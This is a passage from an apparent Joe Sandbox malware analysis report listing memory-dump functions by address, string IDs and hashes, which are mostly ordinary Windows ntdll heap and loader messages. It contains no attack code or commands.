                                                        • Opcode Fuzzy Hash: 021a7d6f2255d6010ec83dda02b0a7edaa2c8982a8a5a069c77e640c65d700c7
                                                        • Instruction Fuzzy Hash: 7EF1E476E006158FDB08CFA9C99467EFBF6AF88210B59416DD456EF380E634EE01CB90
                                                        Function 347211A4 Relevance: 6.4, Strings: 5, Instructions: 113COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: This is located in the %s field of the heap header.$ -f4`$HEAP: $HEAP[%wZ]: $Heap %p - headers modified (%p is %lx instead of %lx)
                                                        • API String ID: 0-1372849818
                                                        • Opcode ID: 30ec23916534e3effba0e8517c97e6cf7b0f3e6f3069256f21a2129251bdac18
                                                        • Instruction ID: 1b9e397be02ede170e49e3f47f6ab4c2e4b354d1daed53af9c47444477a2911b
                                                        • Opcode Fuzzy Hash: 30ec23916534e3effba0e8517c97e6cf7b0f3e6f3069256f21a2129251bdac18
                                                        • Instruction Fuzzy Hash: 8C31DE75200250EFEB10CF99C984F9673E9FF05668F50416AF402DF792EA79EC40CAA9
                                                        Function 346676B2 Relevance: 6.3, Strings: 5, Instructions: 51COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlFreeHeap
                                                        • API String ID: 0-3061284088
                                                        • Opcode ID: a5eca04d1163ca13b502d0116bb1af4a1f1ab47f344db0e09f816e95c8124205
                                                        • Instruction ID: 4e497d53e496cca00bc42fb5329905d3733b4cbe7ced0af15b18e30356ec8c1e
                                                        • Opcode Fuzzy Hash: a5eca04d1163ca13b502d0116bb1af4a1f1ab47f344db0e09f816e95c8124205
                                                        • Instruction Fuzzy Hash: A401F7362042A0DFE315DF28E41DF927BD8DB43E35F2440AEE00147A52CEADAC80C969
                                                        Function 346870C0 Relevance: 6.0, Strings: 3, Instructions: 2248COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
                                                        • API String ID: 0-3178619729
                                                        • Opcode ID: 7ac5a2d1ff2ed3bb50344e894c62d58eb0f628976197b6ff6dee678f1000da3a
                                                        • Instruction ID: e8f5fa094222ff6faae92eb59545244d80063b431afbb7091340b3ba1ca88f1d
                                                        • Opcode Fuzzy Hash: 7ac5a2d1ff2ed3bb50344e894c62d58eb0f628976197b6ff6dee678f1000da3a
                                                        • Instruction Fuzzy Hash: CA138BB4A00769CFEB15CF68C8907A9BBB1FF59304F1481AED849AB381D734A945CF91
                                                        Function 34683D40 Relevance: 5.4, Strings: 3, Instructions: 1603COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
                                                        • API String ID: 0-3178619729
                                                        • Opcode ID: a43ad1bd0ec083c4f961c1a90cf1678bfce63f3253342a8a367e66be15484aa1
                                                        • Instruction ID: d24898354ffaebbde71046768aee890f30d1dd647fec3ab6435923ee44c6f334
                                                        • Opcode Fuzzy Hash: a43ad1bd0ec083c4f961c1a90cf1678bfce63f3253342a8a367e66be15484aa1
                                                        • Instruction Fuzzy Hash: 90E29DB4A00215DFEB14CF68C890BA9BBF5FF59304F14819DD849AB386E735A885CF91
                                                        Function 3467B6C0 Relevance: 5.3, Strings: 4, Instructions: 303COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: LdrResGetRCConfig Enter$LdrResGetRCConfig Exit$MUI$\Ud4
                                                        • API String ID: 0-4117967564
                                                        • Opcode ID: 34a8e7e7a9bbd5dd411b248851b29ffc718196d36e71089eee76f1780dd123e0
                                                        • Instruction ID: c37c1bd671856667aecb3084b27a6a3b8a31a143d5cb01edb29c40991d03691b
                                                        • Opcode Fuzzy Hash: 34a8e7e7a9bbd5dd411b248851b29ffc718196d36e71089eee76f1780dd123e0
                                                        • Instruction Fuzzy Hash: FDB1BC79A14704CFEB15CF69C880F9DBBB6AF95B54F14492DE851EB280E730E880CB41
                                                        Function 3467B440 Relevance: 5.2, Strings: 4, Instructions: 221COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: LdrpResGetResourceDirectory Enter$LdrpResGetResourceDirectory Exit$\Ud4${
                                                        • API String ID: 0-2976282104
                                                        • Opcode ID: eba92a6a49ed0daa3b1dbd2687fe18cffddc1ec5d535ce162745ab1fe3e2b0c9
                                                        • Instruction ID: 34a12034325056dd2fe29cbf4a67e49bb0b6b7d57c6b1cc6e5f7c603ebf9c709
                                                        • Opcode Fuzzy Hash: eba92a6a49ed0daa3b1dbd2687fe18cffddc1ec5d535ce162745ab1fe3e2b0c9
                                                        • Instruction Fuzzy Hash: F191DDB5E04709CFEB11CF54C980BAE7BB4EF55B68F10419DE910AB290D7789E80CB95
                                                        Function 3466F626 Relevance: 5.2, Strings: 4, Instructions: 188COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: HEAP: $HEAP[%wZ]: $ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)$`
                                                        • API String ID: 0-2586055223
                                                        • Opcode ID: 7c4be97e2a746a4fc2896b650ebc370cabfa3b3a623fb8a983c0af36e0f0f7a7
                                                        • Instruction ID: 7dcc0d342fccfad2a40f70725ee87215602e0606a69bf0f641aba9b084d9e671
                                                        • Opcode Fuzzy Hash: 7c4be97e2a746a4fc2896b650ebc370cabfa3b3a623fb8a983c0af36e0f0f7a7
                                                        • Instruction Fuzzy Hash: BF61EE76204780EFE311CF24D848F5B77E8EF84758F044869E9958B291DB38ED41CBA2
                                                        Function 34669148 Relevance: 5.1, Strings: 4, Instructions: 100COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: HEAP: $HEAP[%wZ]: $VirtualProtect Failed 0x%p %x$VirtualQuery Failed 0x%p %x
                                                        • API String ID: 0-1391187441
                                                        • Opcode ID: 0915fbe3b6cf032e8459bc99b3d10205631233e68ba8eca684c6fe2e61183dcc
                                                        • Instruction ID: ba72862d0071287b74daeacaf084947a73ea789581d185a6ba291e01cbaebdc7
                                                        • Opcode Fuzzy Hash: 0915fbe3b6cf032e8459bc99b3d10205631233e68ba8eca684c6fe2e61183dcc
                                                        • Instruction Fuzzy Hash: F931AF36600218EFDB01CF95C888F9AB7F8EF45B74F2041A9E815AB291DB74ED44CE61
                                                        Function 346B1270 Relevance: 5.1, Strings: 4, Instructions: 97COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @$BuildLabEx$Ej4$\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion
                                                        • API String ID: 0-3080516617
                                                        • Opcode ID: 4dd0507e6de23adeaafdd13239ae3a95ee5485203228978708ef77071a5cdf2e
                                                        • Instruction ID: c5a49ea40fe9d73aad7cb63acbe9adc546131303e4b64f9f3edeb1473f624a97
                                                        • Opcode Fuzzy Hash: 4dd0507e6de23adeaafdd13239ae3a95ee5485203228978708ef77071a5cdf2e
                                                        • Instruction Fuzzy Hash: 4D31AFB2A00618FFEF129F96CD44EDEBBBDEF84754F004025E945A7260EB319A458B94
                                                        Function 3471FCDF Relevance: 5.1, Strings: 4, Instructions: 54COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: HEAP: $HEAP[%wZ]: $May not destroy the process heap at %p$RtlDestroyHeap
                                                        • API String ID: 0-4256168463
                                                        • Opcode ID: 4b6fda700cfa9a53e7507947aebf13b4ebec3be126aad1633530940749708e3b
                                                        • Instruction ID: 7cb07372e375c5aedcfa75a0d3039c97eea5056422bc0ee6a7400aa8430735f1
                                                        • Opcode Fuzzy Hash: 4b6fda700cfa9a53e7507947aebf13b4ebec3be126aad1633530940749708e3b
                                                        • Instruction Fuzzy Hash: C201F5B6100710DFDB11DF74C424BA673EAEF43668F00455AE4829F342DA38E98ACA68
                                                        Function 34677152 Relevance: 4.7, APIs: 3, Instructions: 158timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID:
                                                        • API String ID: 3446177414-0
                                                        • Opcode ID: a75f1c2bd40eb2e84d216ee78b8ea38ca9a0c0ea1ecf494f3fe0fe6ead0872c3
                                                        • Instruction ID: d0d7f98658c0aa0a3ea210d666cae7a1241d3c42c41618412c0fd359320aa858
                                                        • Opcode Fuzzy Hash: a75f1c2bd40eb2e84d216ee78b8ea38ca9a0c0ea1ecf494f3fe0fe6ead0872c3
                                                        • Instruction Fuzzy Hash: D5510F74B00709EFFB05CF64C944BADBBB9FF54396F14412AE512932A0EBB4A901CB81
                                                        Function 34671460 Relevance: 4.1, Strings: 3, Instructions: 385COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 34671728
                                                        • HEAP: , xrefs: 34671596
                                                        • HEAP[%wZ]: , xrefs: 34671712
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
                                                        • API String ID: 0-3178619729
                                                        • Opcode ID: 2347ef02fa2727501e6689a1a5de126501280fee71175133445fac3bc2edbdb7
                                                        • Instruction ID: f43798e5bf5e61f585d29c72f11b25234a606e566ef34f9338f47b2e35ef37fb
                                                        • Opcode Fuzzy Hash: 2347ef02fa2727501e6689a1a5de126501280fee71175133445fac3bc2edbdb7
                                                        • Instruction Fuzzy Hash: B4E1EF74A04345DFEB18CF28C491ABABBF9EF58304F14885EE5968B385EB34E940CB50
                                                        Function 346F368C Relevance: 4.0, Strings: 3, Instructions: 292COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @$DelegatedNtdll$\SystemRoot\system32\
                                                        • API String ID: 0-2391371766
                                                        • Opcode ID: 84db999b6b677742465eaf8a0ed99eb5ddb846a38528a3699211a765ef7344c5
                                                        • Instruction ID: 95f2b3b0c3d02d6a55f7695943612f16bd58086d398a7c3de16dd1a4312a3646
                                                        • Opcode Fuzzy Hash: 84db999b6b677742465eaf8a0ed99eb5ddb846a38528a3699211a765ef7344c5
                                                        • Instruction Fuzzy Hash: D9B19DB2604741EFE711DE55CC80B5BB7E8FB84754F40092DFA90AB290DB76E884CB96
                                                        Function 347036EE Relevance: 4.0, Strings: 3, Instructions: 236COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @$LdrpResMapFile Enter$LdrpResMapFile Exit
                                                        • API String ID: 0-318774311
                                                        • Opcode ID: 3c671dbe3f448cc695449d4d702e40932219e8ce2dd51e5d785752d467eaa0d8
                                                        • Instruction ID: 4057514dc73825785ce885423ad2c157860037eb24ff1cd07a368e012370adbf
                                                        • Opcode Fuzzy Hash: 3c671dbe3f448cc695449d4d702e40932219e8ce2dd51e5d785752d467eaa0d8
                                                        • Instruction Fuzzy Hash: D28198B560A340AFE311CF15C880B6AB7E9FF84754F40896EB9849B390DB74D944CFA6
                                                        Function 346F7410 Relevance: 4.0, Strings: 3, Instructions: 233COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: Objects=%4u$Objects>%4u$VirtualAlloc
                                                        • API String ID: 0-3870751728
                                                        • Opcode ID: e108f96131cd1a23d01151044d93aacfeb5e230fa3afd93762a7003e37a0ccf2
                                                        • Instruction ID: 0dea71ac6ac639e7488ae06e276a0e132822b52586de91d8ebbc391e687e4d4b
                                                        • Opcode Fuzzy Hash: e108f96131cd1a23d01151044d93aacfeb5e230fa3afd93762a7003e37a0ccf2
                                                        • Instruction Fuzzy Hash: BC913AB4E003059FEB14CF69C880BADBBB1FF48315F14816AE945AB391EB769842CF54
                                                        Function 346A909C Relevance: 3.9, Strings: 3, Instructions: 199COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: %$&$@
                                                        • API String ID: 0-1537733988
                                                        • Opcode ID: 55289f343088d411882208aa5498a8adef224e5320d331e9bad6db7095ccaa87
                                                        • Instruction ID: be9df99019dc3f4765cd76ab5a34a5be55e9e7932e0cffc4dceba7b5c9c36cb9
                                                        • Opcode Fuzzy Hash: 55289f343088d411882208aa5498a8adef224e5320d331e9bad6db7095ccaa87
                                                        • Instruction Fuzzy Hash: AF7189B4609B01DFE300CF24C994A1BBBE9BF98658F204D1EE59987290DB31DD49CF96
                                                        Function 3474B73C Relevance: 3.9, Strings: 3, Instructions: 180COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • GlobalizationUserSettings, xrefs: 3474B834
                                                        • TargetNtPath, xrefs: 3474B82F
                                                        • \Registry\Machine\SYSTEM\CurrentControlSet\Control\International, xrefs: 3474B82A
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: GlobalizationUserSettings$TargetNtPath$\Registry\Machine\SYSTEM\CurrentControlSet\Control\International
                                                        • API String ID: 0-505981995
                                                        • Opcode ID: 94fdd9d8931bc74bbb496e608f92255fe63452d96f29f3731ee81ad01549642f
                                                        • Instruction ID: 53f6d6a9f27ac9c8db53e746ee132f66aee7abb64c534858e0b97ed5adefdeca
                                                        • Opcode Fuzzy Hash: 94fdd9d8931bc74bbb496e608f92255fe63452d96f29f3731ee81ad01549642f
                                                        • Instruction Fuzzy Hash: 61615D72901228EFEB21DF94DC8CBA9B7B9EF14750F4101E9A508AB351DB349E84CF94
                                                        Function 3466F7BA Relevance: 3.9, Strings: 3, Instructions: 167COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • HEAP: , xrefs: 346CE6B3
                                                        • HEAP[%wZ]: , xrefs: 346CE6A6
                                                        • RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 346CE6C6
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: HEAP: $HEAP[%wZ]: $RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)
                                                        • API String ID: 0-1340214556
                                                        • Opcode ID: 3b88eca8db662ec83f2f6a409ff011a45cd33ed888215579624e775d7b2c4991
                                                        • Instruction ID: b6a63faa4d5d70c35da14b4f05f13ee7b9e09ff2ec80a9a0821a601795f8684c
                                                        • Opcode Fuzzy Hash: 3b88eca8db662ec83f2f6a409ff011a45cd33ed888215579624e775d7b2c4991
                                                        • Instruction Fuzzy Hash: 6551AE75700B84EFE716CFA8C984B9ABBF8EF05744F0400A9E5468B692D778ED41CB51
                                                        Function 346915F4 Relevance: 3.9, Strings: 3, Instructions: 166COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • LdrpCompleteMapModule, xrefs: 346DA590
                                                        • Could not validate the crypto signature for DLL %wZ, xrefs: 346DA589
                                                        • minkernel\ntdll\ldrmap.c, xrefs: 346DA59A
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: Could not validate the crypto signature for DLL %wZ$LdrpCompleteMapModule$minkernel\ntdll\ldrmap.c
                                                        • API String ID: 0-1676968949
                                                        • Opcode ID: a3e33e7b4ecaf97b0020a85ea8bb97c879c9d6a21341957bf7b4711cf5f5e753
                                                        • Instruction ID: 017d37eefe2e4ab8d7041f5dc6099bf959719a118b188593fdc4498f69307a40
                                                        • Opcode Fuzzy Hash: a3e33e7b4ecaf97b0020a85ea8bb97c879c9d6a21341957bf7b4711cf5f5e753
                                                        • Instruction Fuzzy Hash: 5B51FFB8B04784DFF711CE18CD40B8A77E8EB51764F2806A9E9509B6E2DBB4EC40CB45
                                                        Function 3466758F Relevance: 3.9, Strings: 3, Instructions: 132COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: HEAP: $HEAP[%wZ]: $Invalid address specified to %s( %p, %p )
                                                        • API String ID: 0-1151232445
                                                        • Opcode ID: eb3cfab582237369ab776bcb7864bd9e4024390461be83f7f0241a4b08e2d11b
                                                        • Instruction ID: 1049209c7247960ff718f2f905a5223841a70cf8d19a009eef155da53b94a0fd
                                                        • Opcode Fuzzy Hash: eb3cfab582237369ab776bcb7864bd9e4024390461be83f7f0241a4b08e2d11b
                                                        • Instruction Fuzzy Hash: F74136B8300380CFFB14DE19C8907AA77E5DF12388F5484AED456CB656DA78EC86CB52
                                                        Function 346A16CF Relevance: 3.9, Strings: 3, Instructions: 127COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • LdrpAllocateTls, xrefs: 346E1B40
                                                        • minkernel\ntdll\ldrtls.c, xrefs: 346E1B4A
                                                        • TlsVector %p Index %d : %d bytes copied from %p to %p, xrefs: 346E1B39
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
